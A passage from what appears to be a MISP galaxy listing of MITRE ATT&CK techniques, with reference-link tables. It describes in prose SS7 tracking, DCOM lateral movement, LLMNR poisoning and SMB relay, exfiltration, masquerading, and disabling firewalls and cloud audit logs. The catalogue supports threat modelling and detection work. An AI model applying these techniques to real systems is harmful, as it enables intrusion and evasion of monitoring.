<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf">http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1290">https://attack.mitre.org/techniques/T1290</a></td>
</tr>
</tbody>
</table>

Exploit SS7 to Track Device Location - T1450

An adversary could exploit signaling system vulnerabilities to track the location of mobile devices. (Citation: Engel-SS7) (Citation: Engel-SS7-2008) (Citation: 3GPP-Security) (Citation: Positive-SS7) (Citation: CSRIC5-WG10-FinalReport)

The tag is: *misp-galaxy:mitre-attack-pattern="Exploit SS7 to Track Device Location - T1450"

View relationships graph

Exploit SS7 to Track Device Location - T1450 has relationships with:

* revoked-by: *misp-galaxy:mitre-attack-pattern="Impersonate SS7 Nodes - T1430.002" with estimative-language:likelihood-probability="almost-certain"

Table 4888. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://www.3gpp.org/ftp/tsg_sa/wg3_security/_specs/33900-120.pdf">http://www.3gpp.org/ftp/tsg_sa/wg3_security/_specs/33900-120.pdf</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1450">https://attack.mitre.org/techniques/T1450</a></td>
</tr>
<tr>
<td>&lt;a href=&quot;<a href="https://berlin.ccc.de/&amp;lt;sub&amp;gt;tobias/31c3-ss7-locate-track-manipulate.pdf%22&amp;gt;https://berlin.ccc.de/&amp;lt;/sub&amp;gt;tobias/31c3-ss7-locate-track-manipulate.pdf&amp;lt;/a">https://berlin.ccc.de/&amp;lt;sub&amp;gt;tobias/31c3-ss7-locate-track-manipulate.pdf&quot;&amp;gt;https://berlin.ccc.de/&amp;lt;/sub&amp;gt;tobias/31c3-ss7-locate-track-manipulate.pdf&amp;lt;/a</a>&gt;</td>
</tr>
<tr>
<td><a href="https://www.ptsecurity.com/upload/ptcom/PT-SS7-AD-Data-Sheet-eng.pdf">https://www.ptsecurity.com/upload/ptcom/PT-SS7-AD-Data-Sheet-eng.pdf</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=q0n5ySqbfdI">https://www.youtube.com/watch?v=q0n5ySqbfdI</a></td>
</tr>
</tbody>
</table>
Access Sensitive Data in Device Logs - T1413

On versions of Android prior to 4.1, an adversary may use a malicious application that holds the READ_LOGS permission to obtain private keys, passwords, other credentials, or other sensitive data stored in the device's system log. On Android 4.1 and later, an adversary would need to attempt to perform an operating system privilege escalation attack to be able to access the log.

The tag is: misp-galaxy:mitre-attack-pattern="Access Sensitive Data in Device Logs - T1413"

Table 4889. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1413">https://attack.mitre.org/techniques/T1413</a></td>
</tr>
</tbody>
</table>

Stolen Developer Credentials or Signing Keys - T1441

An adversary could steal developer account credentials on an app store and/or signing keys to publish malicious updates to existing Android or iOS apps, or to abuse the developer’s identity and reputation to publish new malicious applications. For example, Infoworld describes this technique and suggests mitigations in (Citation: Infoworld-Appstore).

Detection: Developers can regularly scan (or have a third party scan on their behalf) the app stores for presence of unauthorized apps that were submitted using the developer’s identity.

Platforms: Android, iOS

The tag is: misp-galaxy:mitre-attack-pattern="Stolen Developer Credentials or Signing Keys - T1441"

View relationships graph

Stolen Developer Credentials or Signing Keys - T1441 has relationships with:


Table 4890. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1441">https://attack.mitre.org/techniques/T1441</a></td>
</tr>
</tbody>
</table>

Component Object Model and Distributed COM - T1175

This technique has been deprecated. Please use [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) and [Component Object Model](https://attack.mitre.org/techniques/T1559/001).
Adversaries may use the Windows Component Object Model (COM) and Distributed Component Object Model (DCOM) for local code execution or to execute on remote systems as part of lateral movement.

COM is a component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces.(Citation: Fireeye Hunting COM June 2019) Through COM, a client object can call methods of server objects, which are typically Dynamic Link Libraries (DLL) or executables (EXE).(Citation: Microsoft COM) DCOM is transparent middleware that extends the functionality of Component Object Model (COM) (Citation: Microsoft COM) beyond a local computer using remote procedure call (RPC) technology.(Citation: Fireeye Hunting COM June 2019)

Permissions to interact with local and remote server COM objects are specified by access control lists (ACL) in the Registry. (Citation: Microsoft COM ACL)(Citation: Microsoft Process Wide Com Keys)(Citation: Microsoft System Wide Com Keys) By default, only Administrators may remotely activate and launch COM objects through DCOM.

Adversaries may abuse COM for local command and/or payload execution. Various COM interfaces are exposed that can be abused to invoke arbitrary execution via a variety of programming languages such as C, C++, Java, and VBScript.(Citation: Microsoft COM) Specific COM objects also exists to directly perform functions beyond code execution, such as creating a [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), fileless download/execution, and other adversary behaviors such as Privilege Escalation and Persistence.(Citation: Fireeye Hunting COM June 2019)(Citation: ProjectZero File Write EoP Apr 2018)

Adversaries may use DCOM for lateral movement. Through DCOM, adversaries operating in the context of an appropriately privileged user can remotely obtain arbitrary and even direct shellcode execution through Office applications (Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) as well as other Windows objects that contain insecure methods.(Citation: Enigma MMC20 COM Jan 2017)(Citation: Enigma DCOM Lateral Movement Jan 2017) DCOM can also execute macros in existing documents (Citation: Enigma Excel DCOM Sept 2017) and may also invoke [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1173) (DDE) execution directly through a COM created instance of a Microsoft Office application (Citation: Cyberreason DCOM DDE Lateral Movement Nov 2017), bypassing the need for a malicious document.

The tag is: *misp-galaxy:mitre-attack-pattern="Component Object Model and Distributed COM - T1175"*

---

**Table 4891. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1175">https://attack.mitre.org/techniques/T1175</a></td>
</tr>
<tr>
<td><a href="https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/">https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/</a></td>
</tr>
<tr>
<td><a href="https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/">https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/</a></td>
</tr>
</tbody>
</table>
Develop social network persona digital footprint - T1342

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1342).

Both newly built personas and pre-compromised personas may require development of additional documentation to make them seem real. This could include filling out profile information, developing social networks, or incorporating photos. (Citation: NEWSCASTER2014) (Citation: BlackHatRobinSage) (Citation: RobinSageInterview)

The tag is: *misp-galaxy:mitre-attack-pattern="Develop social network persona digital footprint - T1342"*

---

Assess vulnerability of 3rd party vendors - T1298

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1298).

Once a 3rd party vendor has been identified as being of interest it can be probed for vulnerabilities just like the main target would be. (Citation: Zetter2015Threats) (Citation: WSJTargetBreach)

The tag is: *misp-galaxy:mitre-attack-pattern="Assess vulnerability of 3rd party vendors - T1298"*
Manipulate App Store Rankings or Ratings - T1452

An adversary could use access to a compromised device's credentials to attempt to manipulate app store rankings or ratings by triggering application downloads or posting fake reviews of applications. This technique likely requires privileged access (a rooted or jailbroken device).

The tag is: misp-galaxy:mitre-attack-pattern="Manipulate App Store Rankings or Ratings - T1452"

View relationships graph

Manipulate App Store Rankings or Ratings - T1452 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Generate Traffic from Victim - T1643" with estimative-language:likelihood-probability="almost-certain"

Table 4894. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1452">https://attack.mitre.org/techniques/T1452</a></td>
</tr>
</tbody>
</table>

Acquire OSINT data sets and information - T1247

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1247).

Open source intelligence (OSINT) is intelligence gathered from publicly available sources. This can include both information gathered on-line, such as from search engines, as well as in the physical world. (Citation: RSA-APTRecon)

The tag is: misp-galaxy:mitre-attack-pattern="Acquire OSINT data sets and information - T1247"

View relationships graph

Acquire OSINT data sets and information - T1247 has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Acquire OSINT data sets and information - T1277" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Acquire OSINT data sets and information - T1266" with estimative-language:likelihood-probability="almost-certain"

Table 4895. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1247">https://attack.mitre.org/techniques/T1247</a></td>
</tr>
</tbody>
</table>
Acquire OSINT data sets and information - T1266

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1266).

Open source intelligence (OSINT) provides free, readily available information about a target while providing the target no indication they are of interest. Such information can assist an adversary in crafting a successful approach for compromise. (Citation: RSA-APTRecon)

The tag is: *misp-galaxy:mitre-attack-pattern="Acquire OSINT data sets and information - T1266"

View relationships graph

Acquire OSINT data sets and information - T1266 has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Acquire OSINT data sets and information - T1277" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Acquire OSINT data sets and information - T1247" with estimative-language:likelihood-probability="almost-certain"

Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1266">https://attack.mitre.org/techniques/T1266</a></td>
</tr>
</tbody>
</table>

Acquire OSINT data sets and information - T1277

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1277).

Data sets can be anything from Security Exchange Commission (SEC) filings to public phone numbers. Many datasets are now either publicly available for free or can be purchased from a variety of data vendors. Open source intelligence (OSINT) is intelligence gathered from publicly available sources. This can include both information gathered on-line as well as in the physical world. (Citation: SANSThreatProfile) (Citation: Infosec-osint) (Citation: isight-osint)

The tag is: *misp-galaxy:mitre-attack-pattern="Acquire OSINT data sets and information - T1277"

View relationships graph

Acquire OSINT data sets and information - T1277 has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Acquire OSINT data sets and information - T1266" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Acquire OSINT data sets and information - T1247" with estimative-language:likelihood-probability="almost-certain"
Assess opportunities created by business deals - T1299

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1299).

During mergers, divestitures, or other period of change in joint infrastructure or business processes there may be an opportunity for exploitation. During this type of churn, unusual requests, or other non standard practices may not be as noticeable. (Citation: RossiMergers) (Citation: MeidlHealthMergers)

The tag is: `misp-galaxy:mitre-attack-pattern="Assess opportunities created by business deals - T1299"

SSL certificate acquisition for trust breaking - T1338

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1338).

Fake certificates can be acquired by legal process or coercion. Or, an adversary can trick a Certificate Authority into issuing a certificate. These fake certificates can be used as a part of Man-in-the-Middle attacks. (Citation: SubvertSSL)

The tag is: `misp-galaxy:mitre-attack-pattern="SSL certificate acquisition for trust breaking - T1338"

Identify resources required to build capabilities - T1348

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1348).

As with legitimate development efforts, different skill sets may be required for different phases of
an attack. The skills needed may be located in house, can be developed, or may need to be contracted out. (Citation: APT1)

The tag is: misp-galaxy:mitre-attack-pattern="Identify resources required to build capabilities - T1348"

Table 4900. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1348">https://attack.mitre.org/techniques/T1348</a></td>
</tr>
</tbody>
</table>

**Hardware or software supply chain implant - T1365**

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1365).

During production and distribution, the placement of software, firmware, or a CPU chip in a computer, handheld, or other electronic device that enables an adversary to gain illegal entrance. (Citation: McDRecall) (Citation: SeagateMaxtor)

The tag is: misp-galaxy:mitre-attack-pattern="Hardware or software supply chain implant - T1365"

Table 4901. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1365">https://attack.mitre.org/techniques/T1365</a></td>
</tr>
</tbody>
</table>

**Test malware in various execution environments - T1357**

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1357).

Malware may perform differently on different platforms (computer vs handheld) and different operating systems ([Ubuntu](http://www.ubuntu.com) vs [OS X](http://www.apple.com/osx)), and versions ([Windows](http://windows.microsoft.com) 7 vs 10) so malicious actors will test their malware in the environment(s) where they most expect it to be executed. (Citation: BypassMalwareDefense)

The tag is: misp-galaxy:mitre-attack-pattern="Test malware in various execution environments - T1357"

Table 4902. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1357">https://attack.mitre.org/techniques/T1357</a></td>
</tr>
</tbody>
</table>
Conduct social engineering or HUMINT operation - T1376

This technique has been deprecated. Please see ATT&CK’s Initial Access and Execution tactics for replacement techniques.

Social Engineering is the practice of manipulating people in order to get them to divulge information or take an action. Human Intelligence (HUMINT) is intelligence collected and provided by human sources. (Citation: 17millionScam) (Citation: UbiquityEmailScam)

The tag is: *misp-galaxy:mitre-attack-pattern*="Conduct social engineering or HUMINT operation - T1376"

Table 4903. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1376">https://attack.mitre.org/techniques/T1376</a></td>
</tr>
</tbody>
</table>

Spear phishing messages with malicious attachments - T1367

This technique has been deprecated. Please use [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001).

Emails with malicious attachments are designed to get a user to open/execute the attachment in order to deliver malware payloads. (Citation: APT1)

The tag is: *misp-galaxy:mitre-attack-pattern*="Spear phishing messages with malicious attachments - T1367"

Table 4904. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1367">https://attack.mitre.org/techniques/T1367</a></td>
</tr>
</tbody>
</table>

Authorized user performs requested cyber action - T1386

This technique has been deprecated. Please see ATT&CK’s Initial Access and Execution tactics for replacement techniques.

Clicking on links in email, opening attachments, or visiting websites that result in drive by downloads can all result in compromise due to users performing actions of a cyber nature. (Citation: AnonHBGary)

The tag is: *misp-galaxy:mitre-attack-pattern*="Authorized user performs requested cyber action - T1386"
Spear phishing messages with text only - T1368

This technique has been deprecated. Please use [Phishing](https://attack.mitre.org/techniques/T1566) where appropriate.

Emails with text only phishing messages do not contain any attachments or links to websites. They are designed to get a user to take a follow on action such as calling a phone number or wiring money. They can also be used to elicit an email response to confirm existence of an account or user. (Citation: Paypal Phone Scam)

The tag is: `misp-galaxy:mitre-attack-pattern="Spear phishing messages with text only - T1368"`

Spear phishing messages with malicious links - T1369

This technique has been deprecated. Please use [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002).

Emails with malicious links are designed to get a user to click on the link in order to deliver malware payloads. (Citation: GoogleDrive Phishing) (Citation: RSASEThreat)

The tag is: `misp-galaxy:mitre-attack-pattern="Spear phishing messages with malicious links - T1369"`

Unauthorized user introduces compromise delivery mechanism - T1387

This technique has been deprecated. Please use [Hardware Additions](https://attack.mitre.org/techniques/T1200) where appropriate.

If an adversary can gain physical access to the target's environment they can introduce a variety of devices that provide compromise mechanisms. This could include installing keyboard loggers, adding routing/wireless equipment, or connecting computing devices. (Citation: Credit Card 2202)
Deliver Malicious App via Other Means - T1476

Malicious applications are a common attack vector used by adversaries to gain a presence on mobile devices. This technique describes installing a malicious application on targeted mobile devices without involving an authorized app store (e.g., Google Play Store or Apple App Store). Adversaries may wish to avoid placing malicious applications in an authorized app store due to increased potential risk of detection or other reasons. However, mobile devices often are configured to allow application installation only from an authorized app store which would prevent this technique from working.

Delivery methods for the malicious application include:

- [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001) - Including the mobile app package as an attachment to an email message.
- [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002) - Including a link to the mobile app package within an email, text message (e.g. SMS, iMessage, Hangouts, WhatsApp, etc.), web site, QR code, or other means.
- Third-Party App Store - Installed from a third-party app store (as opposed to an authorized app store that the device implicitly trusts as part of its default behavior), which may not apply the same level of scrutiny to apps as applied by an authorized app store.(Citation: IBTimes-ThirdParty)(Citation: TrendMicro-RootingMalware)(Citation: TrendMicro-FlappyBird)

Some Android malware comes with functionality to install additional applications, either automatically or when the adversary instructs it to.(Citation: android-trojan-steals-paypal-2fa)

The tag is: misp-galaxy:mitre-attack-pattern="Deliver Malicious App via Other Means - T1476"

Table 4909. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1476">https://attack.mitre.org/techniques/T1476</a></td>
</tr>
</tbody>
</table>
Upload, install, and configure software/tools - T1362

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1362).

An adversary may stage software and tools for use during later stages of an attack. The software and tools may be placed on systems legitimately in use by the adversary or may be placed on previously compromised infrastructure. (Citation: APT1) (Citation: RedOctober)

The tag is: `misp-galaxy:mitre-attack-pattern="Upload, install, and configure software/tools - T1362"

Table 4910. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1362">https://attack.mitre.org/techniques/T1362</a></td>
</tr>
</tbody>
</table>

LLMNR/NBT-NS Poisoning and SMB Relay - T1557.001

By responding to LLMNR/NBT-NS network traffic, adversaries may spoof an authoritative source for name resolution to force communication with an adversary controlled system. This activity may be used to collect or relay authentication materials.

Link-Local Multicast Name Resolution (LLMNR) and NetBIOS Name Service (NBT-NS) are Microsoft Windows components that serve as alternate methods of host identification. LLMNR is based upon the Domain Name System (DNS) format and allows hosts on the same local link to perform name resolution for other hosts. NBT-NS identifies systems on a local network by their NetBIOS name. (Citation: Wikipedia LLMNR)(Citation: TechNet NetBIOS)

Adversaries can spoof an authoritative source for name resolution on a victim network by responding to LLMNR (UDP 5355)/NBT-NS (UDP 137) traffic as if they know the identity of the requested host, effectively poisoning the service so that the victims will communicate with the adversary controlled system. If the requested host belongs to a resource that requires identification/authentication, the username and NTLMv2 hash will then be sent to the adversary controlled system. The adversary can then collect the hash information sent over the wire through tools that monitor the ports for traffic or through [Network Sniffing](https://attack.mitre.org/techniques/T1040) and crack the hashes offline through [Brute Force](https://attack.mitre.org/techniques/T1110) to obtain the plaintext passwords.

In some cases where an adversary has access to a system that is in the authentication path between systems or when automated scans that use credentials attempt to authenticate to an adversary controlled system, the NTLMv1/v2 hashes can be intercepted and relayed to access and execute code against a target system. The relay step can happen in conjunction with poisoning but may also
be independent of it. Additionally, adversaries may encapsulate the NTLMv1/v2 hashes into various protocols, such as LDAP, SMB, MSSQL and HTTP, to expand and use multiple services with the valid NTLM response.

Several tools may be used to poison name services within local networks such as NBNSpoof, Metasploit, and [Responder](https://attack.mitre.org/software/S0174). The tag is: *misp-galaxy:mitre-attack-pattern="LLMNR/NBT-NS Poisoning and SMB Relay - T1557.001"

Table 4911. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1557/001">https://attack.mitre.org/techniques/T1557/001</a></td>
</tr>
<tr>
<td><a href="https://en.wikipedia.org/wiki/Link-Local_Multicast_Name_Resolution">https://en.wikipedia.org/wiki/Link-Local_Multicast_Name_Resolution</a></td>
</tr>
<tr>
<td><a href="https://github.com/kevin-robertson/conveigh">https://github.com/kevin-robertson/conveigh</a></td>
</tr>
<tr>
<td><a href="https://github.com/spiderlabs/responder">https://github.com/spiderlabs/responder</a></td>
</tr>
<tr>
<td><a href="https://github.com/nomex/nbnspoof">https://github.com/nomex/nbnspoof</a></td>
</tr>
<tr>
<td><a href="https://www.rapid7.com/db/modules/auxiliary/spoof/llmnr/llmnr_response">https://www.rapid7.com/db/modules/auxiliary/spoof/llmnr/llmnr_response</a></td>
</tr>
</tbody>
</table>

**Exfiltration Over Unencrypted Non-C2 Protocol - T1048.003**

Adversaries may steal data by exfiltrating it over an un-encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server. Adversaries may opt to obfuscate this data, without the use of encryption, within network protocols that are natively unencrypted (such as HTTP, FTP, or DNS). This may include custom or publicly available encoding/compression algorithms (such as base64) as well as embedding data within protocol headers and fields.

The tag is: *misp-galaxy:mitre-attack-pattern="Exfiltration Over Unencrypted Non-C2 Protocol - T1048.003"

Table 4912. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Exfiltration Over Unencrypted Non-C2 Protocol - T1639.001

Adversaries may steal data by exfiltrating it over an un-encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server.

Adversaries may opt to obfuscate this data, without the use of encryption, within network protocols that are natively unencrypted (such as HTTP, FTP, or DNS). Adversaries may employ custom or publicly available encoding/compression algorithms (such as base64) or embed data within protocol headers and fields.

The tag is: misp-galaxy:mitre-attack-pattern="Exfiltration Over Unencrypted Non-C2 Protocol - T1639.001"

Table 4913. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1639/001">https://attack.mitre.org/techniques/T1639/001</a></td>
</tr>
</tbody>
</table>

Match Legitimate Name or Location - T1036.005

Adversaries may match or approximate the name or location of legitimate files or resources when naming/placing them. This is done for the sake of evading defenses and observation. This may be done by placing an executable in a commonly trusted directory (ex: under System32) or giving it the name of a legitimate, trusted program (ex: svchost.exe). In containerized environments, this may also be done by creating a resource in a namespace that matches the naming convention of a container pod or cluster. Alternatively, a file or container image name given may be a close approximation to legitimate programs/images or something innocuous.

Adversaries may also use the same icon of the file they are trying to mimic.

The tag is: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005"

Table 4914. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1036/005">https://attack.mitre.org/techniques/T1036/005</a></td>
</tr>
<tr>
<td><a href="https://docs.docker.com/engine/reference/commandline/images/">https://docs.docker.com/engine/reference/commandline/images/</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/ItsReallyNick/status/1055321652777619457">https://twitter.com/ItsReallyNick/status/1055321652777619457</a></td>
</tr>
<tr>
<td><a href="https://www.elastic.co/blog/how-hunt-masquerade-ball">https://www.elastic.co/blog/how-hunt-masquerade-ball</a></td>
</tr>
</tbody>
</table>
Match Legitimate Name or Location - T1655.001

Adversaries may match or approximate the name or location of legitimate files or resources when naming/placing them. This is done for the sake of evading defenses and observation. This may be done by giving artifacts the name and icon of a legitimate, trusted application (i.e., Settings), or using a package name that matches legitimate, trusted applications (i.e., `com.google.android.gm`).

Adversaries may also use the same icon of the file or application they are trying to mimic.

The tag is: `misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1655.001"`

Table 4915. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1655/001">https://attack.mitre.org/techniques/T1655/001</a></td>
</tr>
</tbody>
</table>

Disable or Modify System Firewall - T1562.004

Adversaries may disable or modify system firewalls in order to bypass controls limiting network usage. Changes could be disabling the entire mechanism as well as adding, deleting, or modifying particular rules. This can be done numerous ways depending on the operating system, including via command-line, editing Windows Registry keys, and Windows Control Panel.

Modifying or disabling a system firewall may enable adversary C2 communications, lateral movement, and/or data exfiltration that would otherwise not be allowed. For example, adversaries may add a new firewall rule for a well-known protocol (such as RDP) using a non-traditional and potentially less securitized port (i.e. [Non-Standard Port](https://attack.mitre.org/techniques/T1571)).(Citation: change_rdp_port_conti)

The tag is: `misp-galaxy:mitre-attack-pattern="Disable or Modify System Firewall - T1562.004"

Table 4916. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1562/004">https://attack.mitre.org/techniques/T1562/004</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/TheDFIRReport/status/1498657772254240768">https://twitter.com/TheDFIRReport/status/1498657772254240768</a></td>
</tr>
</tbody>
</table>

Disable or Modify Cloud Firewall - T1562.007

Adversaries may disable or modify a firewall within a cloud environment to bypass controls that limit access to cloud resources. Cloud firewalls are separate from system firewalls that are described in [Disable or Modify System Firewall](https://attack.mitre.org/techniques/T1562/004).

Cloud environments typically utilize restrictive security groups and firewall rules that only allow network activity from trusted IP addresses via expected ports and protocols. An adversary may
introduce new firewall rules or policies to allow access into a victim cloud environment. For example, an adversary may use a script or utility that creates new ingress rules in existing security groups to allow any TCP/IP connectivity, or remove networking limitations to support traffic associated with malicious activity (such as cryptomining).(Citation: Expel IO Evil in AWS)(Citation: Palo Alto Unit 42 Compromised Cloud Compute Credentials 2022)

Modifying or disabling a cloud firewall may enable adversary C2 communications, lateral movement, and/or data exfiltration that would otherwise not be allowed.

The tag is: *misp-galaxy:mitre-attack-pattern*="*Disable or Modify Cloud Firewall - T1562.007"*

**Table 4917. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1562/007">https://attack.mitre.org/techniques/T1562/007</a></td>
</tr>
<tr>
<td><a href="https://expel.io/blog/finding-evil-in-aws/">https://expel.io/blog/finding-evil-in-aws/</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/compromised-cloud-compute-credentials/">https://unit42.paloaltonetworks.com/compromised-cloud-compute-credentials/</a></td>
</tr>
</tbody>
</table>

**Disable or Modify Cloud Logs - T1562.008**

An adversary may disable or modify cloud logging capabilities and integrations to limit what data is collected on their activities and avoid detection. Cloud environments allow for collection and analysis of audit and application logs that provide insight into what activities a user does within the environment. If an adversary has sufficient permissions, they can disable or modify logging to avoid detection of their activities.

For example, in AWS an adversary may disable CloudWatch/CloudTrail integrations prior to conducting further malicious activity.(Citation: Following the CloudTrail: Generating strong AWS security signals with Sumo Logic) They may alternatively tamper with logging functionality – for example, by removing any associated SNS topics, disabling multi-region logging, or disabling settings that validate and/or encrypt log files.(Citation: AWS Update Trail)(Citation: Pacu Detection Disruption Module) In Office 365, an adversary may disable logging on mail collection activities for specific users by using the *Set-MailboxAuditBypassAssociation* cmdlet, by disabling M365 Advanced Auditing for the user, or by downgrading the user’s license from an Enterprise E5 to an Enterprise E3 license.(Citation: Dark Reading Microsoft 365 Attacks 2021)

The tag is: *misp-galaxy:mitre-attack-pattern*="*Disable or Modify Cloud Logs - T1562.008"*

**Table 4918. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1562/008">https://attack.mitre.org/techniques/T1562/008</a></td>
</tr>
<tr>
<td><a href="https://cloud.google.com/logging/docs/audit/configure-data-access">https://cloud.google.com/logging/docs/audit/configure-data-access</a></td>
</tr>
</tbody>
</table>
SIP and Trust Provider Hijacking - T1553.003

Adversaries may tamper with SIP and trust provider components to mislead the operating system and application control tools when conducting signature validation checks. In user mode, Windows Authenticode (Citation: Microsoft Authenticode) digital signatures are used to verify a file’s origin and integrity, variables that may be used to establish trust in signed code (ex: a driver with a valid Microsoft signature may be handled as safe). The signature validation process is handled via the WinVerifyTrust application programming interface (API) function, (Citation: Microsoft WinVerifyTrust) which accepts an inquiry and coordinates with the appropriate trust provider, which is responsible for validating parameters of a signature. (Citation: SpectorOps Subverting Trust Sept 2017)

